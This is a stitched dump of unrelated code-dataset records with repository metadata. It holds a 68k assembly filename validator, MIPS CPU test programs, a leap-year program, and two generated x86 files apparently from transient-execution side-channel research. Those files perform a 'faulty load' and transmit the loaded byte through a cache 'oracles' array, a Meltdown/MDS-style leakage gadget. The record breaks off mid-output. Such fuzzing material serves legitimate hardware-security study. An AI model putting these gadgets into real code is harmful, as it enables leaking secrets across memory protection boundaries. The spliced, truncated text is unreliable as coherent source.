0,N,{No},1,Y,{Yes} mkcfitem 'q681',string,0,q68_wn1,,ppr,{Filename for QUB1},0 mkcfitem 'q682',string,0,q68_wn2,,ppr,{QUB2},0 mkcfitem 'q683',string,0,q68_wn3,,ppr,{QUB3},0 mkcfitem 'q684',string,0,q68_wn4,,ppr,{QUB4},0 mkcfitem 'q685',string,0,q68_wn5,,ppr,{QUB5},0 mkcfitem 'q686',string,0,q68_wn6,,ppr,{QUB6},0 mkcfitem 'q687',string,0,q68_wn7,,ppr,{QUB7},0 mkcfitem 'q688',string,0,q68_wn8,,ppr,{QUB8},0 mkcfitem 'q68J',code,0,qcf_qubu,,,\ {Qub1_ is on card},0,1,{1},q68.coff,2,{2},$ff,N,{None} mkcfitem 'q68K',code,0,qcf_qubu+1,,,\ {Qub2_ is on card},0,1,{1},q68.coff,2,{2},$ff,N,{None} mkcfitem 'q68L',code,0,qcf_qubu+2,,,\ {Qub3_ is on card},0,1,{1},q68.coff,2,{2},$ff,N,{None} mkcfitem 'q68M',code,0,qcf_qubu+3,,,\ {Qub4_ is on card},0,1,{1},q68.coff,2,{2},$ff,N,{None} mkcfitem 'q68N',code,0,qcf_qubu+4,,,\ {Qub5_ is on card},0,1,{1},q68.coff,2,{2},$ff,N,{None} mkcfitem 'q68O',code,0,qcf_qubu+5,,,\ {Qub6_ is on card},0,1,{1},q68.coff,2,{2},$ff,N,{None} mkcfitem 'q68P',code,0,qcf_qubu+6,,,\ {Qub7_ is on card},0,1,{1},q68.coff,2,{2},$ff,N,{None} mkcfitem 'q68Q',code,0,qcf_qubu+7,,,\ {Qub8_ is on card},0,1,{1},q68.coff,2,{2},$ff,N,{None} mkcfblend mkcfend ; post processing routine to make sure that a name is a valid 8.3 name ppr tst.b d1 beq.s p_ok addq.l #2,a0 ; point to item name move.w (a0)+,d2 ; length beq.s p_ok ; 0 length is fine cmp.w #12,d2 ; max chars allowed (8+3+extn) bgt.s ipar ; too many subq.w #1,d2 ; prepare for dbf moveq #'.',d5 ; compare with this moveq #0,d6 ; nbr of chars compared till now p_lp1 cmp.b (a0)+,d5 ; try to find extension marker beq.s extn ; found it, check name addq.l #1,d6 ; new number of chars checked dbf d2,p_lp1 ; check all chars ; if we get here, there is no extension subq.w #8,d6 ; max nbr of chars w/o extn allowed ble.s p_ok ; correct name w/ extn bra.s ipar ; wrong name ; d2 nbr of chars remaining ; d6 nbr of chars before extension extn subq.w #8,d6 ; nbr of chars got before extn bgt.s ipar ; too many chars before the extension cmp.w #3,d2 ; how many chars remaining for the extn? bgt.s ipar ; too many! p_ok moveq #0,d0 rts ipar moveq #err.inam,d0 rts end
22.88
78
0.681469
8baa4363312d86d276e1eb82833b9e6afdbb8da4
7,288
asm
Assembly
P6/data_P6_2/cal_R_test63.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
1
2022-01-23T09:24:47.000Z
2022-01-23T09:24:47.000Z
P6/data_P6_2/cal_R_test63.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
P6/data_P6_2/cal_R_test63.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
lui $1,26700 ori $1,$1,18627 lui $2,62094 ori $2,$2,8093 lui $3,37751 ori $3,$3,9580 lui $4,45662 ori $4,$4,62971 lui $5,2491 ori $5,$5,30160 lui $6,24754 ori $6,$6,64389 mthi $1 mtlo $2 sec0: nop nop nop nor $2,$6,$2 sec1: nop nop xor $2,$5,$2 nor $2,$6,$2 sec2: nop nop xori $2,$6,50161 nor $2,$6,$2 sec3: nop nop mfhi $2 nor $2,$6,$2 sec4: nop nop lw $2,12($0) nor $4,$6,$2 sec5: nop or $2,$4,$2 nop nor $5,$6,$2 sec6: nop subu $2,$2,$3 or $2,$5,$1 nor $2,$6,$2 sec7: nop subu $2,$2,$4 lui $2,63764 nor $1,$6,$2 sec8: nop addu $2,$0,$5 mflo $2 nor $4,$6,$2 sec9: nop xor $2,$4,$5 lhu $2,6($0) nor $2,$6,$2 sec10: nop addiu $2,$2,-25842 nop nor $3,$6,$2 sec11: nop slti $2,$3,6222 or $2,$1,$2 nor $3,$6,$2 sec12: nop ori $2,$3,12819 lui $2,50294 nor $3,$6,$2 sec13: nop xori $2,$5,38108 mfhi $2 nor $5,$6,$2 sec14: nop lui $2,44757 lhu $2,14($0) nor $6,$6,$2 sec15: nop mfhi $2 nop nor $2,$6,$2 sec16: nop mflo $2 and $2,$6,$3 nor $0,$6,$2 sec17: nop mfhi $2 slti $2,$3,11146 nor $6,$6,$2 sec18: nop mflo $2 mfhi $2 nor $3,$6,$2 sec19: nop mflo $2 lh $2,14($0) nor $5,$6,$2 sec20: nop lhu $2,10($0) nop nor $1,$6,$2 sec21: nop lh $2,6($0) subu $2,$4,$2 nor $3,$6,$2 sec22: nop lb $2,1($0) sltiu $2,$2,21558 nor $2,$6,$2 sec23: nop lhu $2,16($0) mflo $2 nor $4,$6,$2 sec24: nop lb $2,15($0) lb $2,15($0) nor $1,$6,$2 sec25: sltu $2,$5,$2 nop nop nor $3,$6,$2 sec26: xor $2,$3,$2 nop or $2,$0,$1 nor $3,$6,$2 sec27: xor $2,$3,$3 nop sltiu $2,$1,29497 nor $4,$6,$2 sec28: subu $2,$2,$4 nop mflo $2 nor $3,$6,$2 sec29: addu $2,$1,$4 nop lbu $2,0($0) nor $4,$6,$2 sec30: addu $2,$3,$4 addu $2,$1,$3 nop nor $3,$6,$2 sec31: slt $2,$4,$4 subu $2,$5,$3 xor $2,$5,$6 nor $5,$6,$2 sec32: xor $2,$1,$4 or $2,$6,$3 ori $2,$3,26903 nor $2,$6,$2 sec33: slt $2,$1,$1 subu $2,$2,$3 mfhi $2 nor $4,$6,$2 sec34: xor $2,$3,$2 nor $2,$0,$1 lh $2,4($0) nor $3,$6,$2 sec35: and $2,$1,$2 lui $2,28979 nop nor $6,$6,$2 sec36: or $2,$2,$3 sltiu $2,$4,15568 xor $2,$3,$2 nor $3,$6,$2 sec37: xor $2,$1,$3 ori $2,$4,4661 lui $2,47336 nor $2,$6,$2 sec38: sltu $2,$5,$2 addiu $2,$2,24790 mfhi $2 nor $4,$6,$2 sec39: subu $2,$4,$3 sltiu $2,$3,-1854 lh $2,14($0) nor $5,$6,$2 sec40: or $2,$3,$2 mfhi $2 nop nor $5,$6,$2 sec41: or $2,$5,$6 mfhi $2 sltu $2,$2,$5 nor $3,$6,$2 sec42: or $2,$3,$2 mflo $2 xori $2,$1,44454 nor $2,$6,$2 sec43: or $2,$4,$3 mflo $2 mflo $2 nor $1,$6,$2 sec44: addu $2,$4,$3 mflo $2 lh $2,4($0) nor $1,$6,$2 sec45: xor $2,$3,$4 lh $2,0($0) nop nor $2,$6,$2 sec46: sltu $2,$5,$2 lbu $2,4($0) or $2,$1,$4 nor $5,$6,$2 sec47: xor $2,$1,$3 lbu $2,3($0) sltiu $2,$5,31247 nor $2,$6,$2 sec48: or $2,$3,$1 lh $2,8($0) mfhi $2 nor $1,$6,$2 sec49: nor $2,$1,$5 lb $2,9($0) lb $2,0($0) nor $2,$6,$2 sec50: addiu $2,$0,1596 nop nop nor $2,$6,$2 sec51: addiu $2,$4,15923 nop addu $2,$4,$5 nor $3,$6,$2 sec52: addiu $2,$0,-28974 nop xori $2,$5,33473 nor $3,$6,$2 sec53: xori $2,$5,40337 nop mflo $2 nor $2,$6,$2 sec54: xori $2,$0,28951 nop lh $2,8($0) nor $2,$6,$2 sec55: xori $2,$2,9815 or $2,$2,$6 nop nor $5,$6,$2 sec56: slti $2,$3,-31202 or $2,$3,$6 slt $2,$4,$6 nor $2,$6,$2 sec57: sltiu $2,$0,-2713 xor $2,$4,$1 slti $2,$2,17373 nor $4,$6,$2 sec58: xori $2,$6,33795 sltu $2,$3,$2 mflo $2 nor $2,$6,$2 sec59: lui $2,43766 or $2,$4,$5 lbu $2,7($0) nor $3,$6,$2 sec60: ori $2,$2,12869 andi $2,$1,6122 nop nor $4,$6,$2 sec61: xori $2,$4,34124 andi $2,$0,11828 and $2,$1,$2 nor $4,$6,$2 sec62: andi $2,$5,42756 andi $2,$2,53770 andi $2,$2,52648 nor $1,$6,$2 sec63: xori $2,$3,2306 ori $2,$4,50947 mfhi $2 nor $3,$6,$2 sec64: xori $2,$3,3637 ori $2,$2,10618 lw $2,12($0) nor $3,$6,$2 sec65: ori $2,$6,54551 mflo $2 nop nor $4,$6,$2 sec66: andi $2,$4,55386 mflo $2 or $2,$3,$6 nor $2,$6,$2 sec67: xori $2,$2,27419 mfhi $2 andi $2,$6,20329 nor $2,$6,$2 sec68: lui $2,39708 mfhi $2 mfhi $2 nor $3,$6,$2 sec69: addiu $2,$2,-15242 mfhi $2 lbu $2,11($0) nor $3,$6,$2 sec70: sltiu $2,$1,24175 lw $2,16($0) nop nor $6,$6,$2 sec71: sltiu $2,$3,-25174 lhu $2,12($0) subu $2,$2,$5 nor $4,$6,$2 sec72: xori $2,$3,13861 lhu $2,8($0) addiu $2,$3,-18369 nor $2,$6,$2 sec73: addiu $2,$2,28793 lw $2,8($0) mflo $2 nor $3,$6,$2 sec74: lui $2,8734 lhu $2,2($0) lbu $2,5($0) nor $0,$6,$2 sec75: mflo $2 nop nop nor $0,$6,$2 sec76: mflo $2 nop addu $2,$4,$1 nor $3,$6,$2 sec77: mflo $2 nop ori $2,$3,34172 nor $6,$6,$2 sec78: mfhi $2 nop mfhi $2 nor $1,$6,$2 sec79: mflo $2 nop lh $2,10($0) nor $3,$6,$2 sec80: mflo $2 or $2,$3,$2 nop nor $5,$6,$2 sec81: mflo $2 and $2,$0,$2 sltu $2,$3,$3 nor $3,$6,$2 sec82: mfhi $2 and $2,$2,$6 slti $2,$4,7893 nor $5,$6,$2 sec83: mflo $2 and $2,$6,$6 mfhi $2 nor $6,$6,$2 sec84: mflo $2 xor $2,$3,$2 lh $2,10($0) nor $4,$6,$2 sec85: mflo $2 lui $2,28801 nop nor $1,$6,$2 sec86: mfhi $2 slti $2,$5,-32215 or $2,$4,$5 nor $4,$6,$2 sec87: mflo $2 andi $2,$0,39182 lui $2,16474 nor $4,$6,$2 sec88: mflo $2 sltiu $2,$2,-17489 mfhi $2 nor $3,$6,$2 sec89: mflo $2 xori $2,$2,7493 lh $2,12($0) nor $5,$6,$2 sec90: mfhi $2 mfhi $2 nop nor $3,$6,$2 sec91: mfhi $2 mflo $2 and $2,$5,$3 nor $3,$6,$2 sec92: mfhi $2 mflo $2 ori $2,$4,22403 nor $4,$6,$2 sec93: mfhi $2 mfhi $2 mflo $2 nor $4,$6,$2 sec94: mfhi $2 mfhi $2 lbu $2,9($0) nor $2,$6,$2 sec95: mfhi $2 lw $2,0($0) nop nor $5,$6,$2 sec96: mfhi $2 lbu $2,16($0) xor $2,$2,$1 nor $2,$6,$2 sec97: mfhi $2 lhu $2,12($0) addiu $2,$2,32388 nor $2,$6,$2 sec98: mflo $2 lhu $2,10($0) mfhi $2 nor $6,$6,$2 sec99: mfhi $2 lw $2,0($0) lhu $2,10($0) nor $2,$6,$2 sec100: lhu $2,4($0) nop nop nor $2,$6,$2 sec101: lh $2,6($0) nop xor $2,$3,$6 nor $3,$6,$2 sec102: lb $2,14($0) nop andi $2,$2,17475 nor $6,$6,$2 sec103: lw $2,16($0) nop mflo $2 nor $4,$6,$2 sec104: lbu $2,5($0) nop lw $2,16($0) nor $6,$6,$2 sec105: lhu $2,2($0) slt $2,$5,$5 nop nor $2,$6,$2 sec106: lb $2,2($0) slt $2,$3,$3 nor $2,$5,$6 nor $6,$6,$2 sec107: lb $2,0($0) subu $2,$4,$2 addiu $2,$6,-13582 nor $2,$6,$2 sec108: lh $2,14($0) or $2,$4,$3 mflo $2 nor $2,$6,$2 sec109: lhu $2,14($0) subu $2,$5,$1 lw $2,16($0) nor $0,$6,$2 sec110: lhu $2,12($0) sltiu $2,$5,-22746 nop nor $6,$6,$2 sec111: lhu $2,0($0) addiu $2,$0,12152 nor $2,$5,$5 nor $3,$6,$2 sec112: lhu $2,8($0) sltiu $2,$2,12814 addiu $2,$1,10871 nor $3,$6,$2 sec113: lw $2,0($0) lui $2,29500 mfhi $2 nor $5,$6,$2 sec114: lbu $2,3($0) lui $2,58544 lb $2,12($0) nor $3,$6,$2 sec115: lbu $2,9($0) mflo $2 nop nor $5,$6,$2 sec116: lbu $2,0($0) mflo $2 sltu $2,$5,$2 nor $3,$6,$2 sec117: lhu $2,4($0) mfhi $2 xori $2,$3,12100 nor $3,$6,$2 sec118: lbu $2,7($0) mfhi $2 mflo $2 nor $2,$6,$2 sec119: lbu $2,9($0) mflo $2 lhu $2,10($0) nor $2,$6,$2 sec120: lw $2,12($0) lw $2,16($0) nop nor $0,$6,$2 sec121: lb $2,1($0) lh $2,8($0) or $2,$0,$2 nor $3,$6,$2 sec122: lhu $2,4($0) lb $2,9($0) addiu $2,$3,12431 nor $3,$6,$2 sec123: lbu $2,4($0) lw $2,0($0) mflo $2 nor $1,$6,$2 sec124: lh $2,6($0) lbu $2,5($0) lb $2,1($0) nor $3,$6,$2
11.3875
19
0.52264
2dddf8489a89a8f10fefbcc2e8a9b381e17a4400
348
asm
Assembly
MIPS_CPU/P2/leapyear.asm
CPUmaker/ComputerOrganizationDesign
30c078a4f284845c68899be417028d704293a52b
[ "MIT" ]
1
2021-01-13T09:21:45.000Z
2021-01-13T09:21:45.000Z
MIPS_CPU/P2/leapyear.asm
CPUmaker/ComputerOrganizationDesign
30c078a4f284845c68899be417028d704293a52b
[ "MIT" ]
null
null
null
MIPS_CPU/P2/leapyear.asm
CPUmaker/ComputerOrganizationDesign
30c078a4f284845c68899be417028d704293a52b
[ "MIT" ]
null
null
null
li $v0, 5 syscall move $s0, $v0 li $t0, 4 divu $s0, $t0 mfhi $t1 bne $t1, $0, not_leapyear li $t0, 100 divu $s0, $t0 mfhi $t1 bne $t1, $0, is_leapyear li $t0, 400 divu $s0, $t0 mfhi $t1 bne $t1, $0, not_leapyear j is_leapyear not_leapyear: li $a0, 0 li $v0, 1 syscall j end is_leapyear: li $a0, 1 li $v0, 1 syscall end: li $v0, 10 syscall
9.157895
25
0.640805
ae063df90403e07fa873599a7a0b4127518759d2
5,478
asm
Assembly
Transynther/x86/_processed/NONE/_st_zr_un_/i9-9900K_12_0xca.log_21829_570.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_zr_un_/i9-9900K_12_0xca.log_21829_570.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_zr_un_/i9-9900K_12_0xca.log_21829_570.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xe9f0, %rbp nop nop xor %r8, %r8 and $0xffffffffffffffc0, %rbp vmovntdqa (%rbp), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %r15 nop nop nop nop sub %r12, %r12 lea addresses_WT_ht+0x159fd, %r8 nop nop nop inc %r11 movl $0x61626364, (%r8) add %r15, %r15 lea addresses_WC_ht+0x1e0f0, %r8 nop add $31354, %rdx mov (%r8), %rbp and $279, %rdx lea addresses_D_ht+0xb7f0, %r8 nop nop add %rbp, %rbp mov $0x6162636465666768, %r12 movq %r12, %xmm3 movups %xmm3, (%r8) xor $13057, %r11 lea addresses_WT_ht+0x164fe, %rsi lea addresses_WT_ht+0x19f0, %rdi clflush (%rsi) xor %r15, %r15 mov $4, %rcx rep movsw nop xor $11945, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r14 push %rbp push %rdx push %rsi // Store lea addresses_UC+0xd3f0, %r10 nop nop sub %rsi, %rsi mov $0x5152535455565758, %r14 movq %r14, %xmm5 vmovntdq %ymm5, (%r10) nop nop nop nop cmp $30642, %r12 // Faulty Load lea addresses_WC+0xe3f0, %rsi nop nop dec %rdx movb (%rsi), %r12b lea oracles, %r11 and $0xff, %r12 shlq $12, %r12 mov (%r11,%r12,1), %r12 pop %rsi pop %rdx pop %rbp pop %r14 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': True, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}} {'00': 4, '58': 21615, '5f': 210} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 5f 5f 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 5f 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 5f 58 5f 58 58 58 58 58 58 58 58 5f 5f 5f 5f 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
44.536585
2,999
0.658087
83faac51faff2bd70d9a3b9ba6f6f3e8f4ef60f1
8,682
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_1116.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_1116.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_1116.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0xcf6d, %rdi nop nop xor %r13, %r13 mov (%rdi), %rbp nop nop nop nop nop add $57088, %r9 lea addresses_WC_ht+0x1d1fd, %rsi lea addresses_WC_ht+0x59d5, %rdi nop nop xor $28404, %r8 mov $21, %rcx rep movsw nop nop nop nop sub $55446, %rbp lea addresses_WC_ht+0x73f5, %rsi lea addresses_UC_ht+0x1263d, %rdi nop nop nop nop add %r9, %r9 mov $5, %rcx rep movsb nop nop nop nop nop cmp $59475, %r9 lea addresses_UC_ht+0x3047, %rsi lea addresses_D_ht+0x1033d, %rdi nop nop nop xor %rbp, %rbp mov $50, %rcx rep movsq nop xor %rdi, %rdi lea addresses_normal_ht+0x110ed, %r13 nop nop nop nop xor $9878, %rcx movb $0x61, (%r13) nop nop nop nop nop cmp %rdi, %rdi lea addresses_D_ht+0x13bfd, %r9 nop nop nop nop and %r13, %r13 mov (%r9), %ebp nop nop dec %r8 lea addresses_WT_ht+0xa73d, %r8 nop nop nop nop inc %rdi movups (%r8), %xmm5 vpextrq $0, %xmm5, %rbp nop nop inc %r8 lea addresses_A_ht+0x1031d, %rsi lea addresses_A_ht+0x1cb3d, %rdi nop nop nop nop nop add $50053, %r10 mov $6, %rcx rep movsl inc %r13 lea addresses_normal_ht+0xab3d, %rsi lea addresses_WC_ht+0x1787d, %rdi dec %r13 mov $100, %rcx rep movsl sub $27888, %r9 lea addresses_A_ht+0x2a1b, %rsi nop nop nop nop and $32416, %r10 mov $0x6162636465666768, %rdi movq %rdi, (%rsi) nop nop nop nop xor %r13, %r13 lea addresses_WT_ht+0x1a33d, %r13 nop nop nop nop nop sub %rbp, %rbp mov (%r13), %r8w nop nop nop cmp $14566, %r10 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %rbp push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_RW+0x1c9d2, %rsi lea addresses_WC+0x12c33, %rdi clflush (%rsi) nop nop and $20819, %rbx mov $19, %rcx rep movsb nop nop nop xor $22440, %rbx // Store lea addresses_A+0x140cd, %r15 nop nop dec %r13 mov $0x5152535455565758, %rsi movq %rsi, %xmm2 movups %xmm2, (%r15) nop nop nop nop and %rcx, %rcx // Load lea addresses_PSE+0x1cfbe, %rbx nop nop nop nop nop xor $54400, %rcx mov (%rbx), %r13 nop nop nop nop nop add $44788, %rbx // Store lea addresses_UC+0x15b3d, %rbx nop nop nop nop and %r13, %r13 mov $0x5152535455565758, %r15 movq %r15, %xmm7 vmovups %ymm7, (%rbx) xor %r13, %r13 // Store lea addresses_normal+0x1c9f5, %rcx and %rbx, %rbx mov $0x5152535455565758, %rdi movq %rdi, (%rcx) nop nop nop nop nop sub $64921, %r13 // Store lea addresses_A+0x1e3d, %rbp xor $58974, %rcx mov $0x5152535455565758, %r13 movq %r13, %xmm1 and $0xffffffffffffffc0, %rbp movntdq %xmm1, (%rbp) cmp $48741, %rdi // Store lea addresses_UC+0x1453d, %rbx nop nop nop cmp $35054, %rdi movb $0x51, (%rbx) nop nop nop nop inc %rcx // Faulty Load lea addresses_UC+0x15b3d, %rcx nop nop cmp %rdi, %rdi mov (%rcx), %rsi lea oracles, %r13 and $0xff, %rsi shlq $12, %rsi mov (%r13,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 11, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 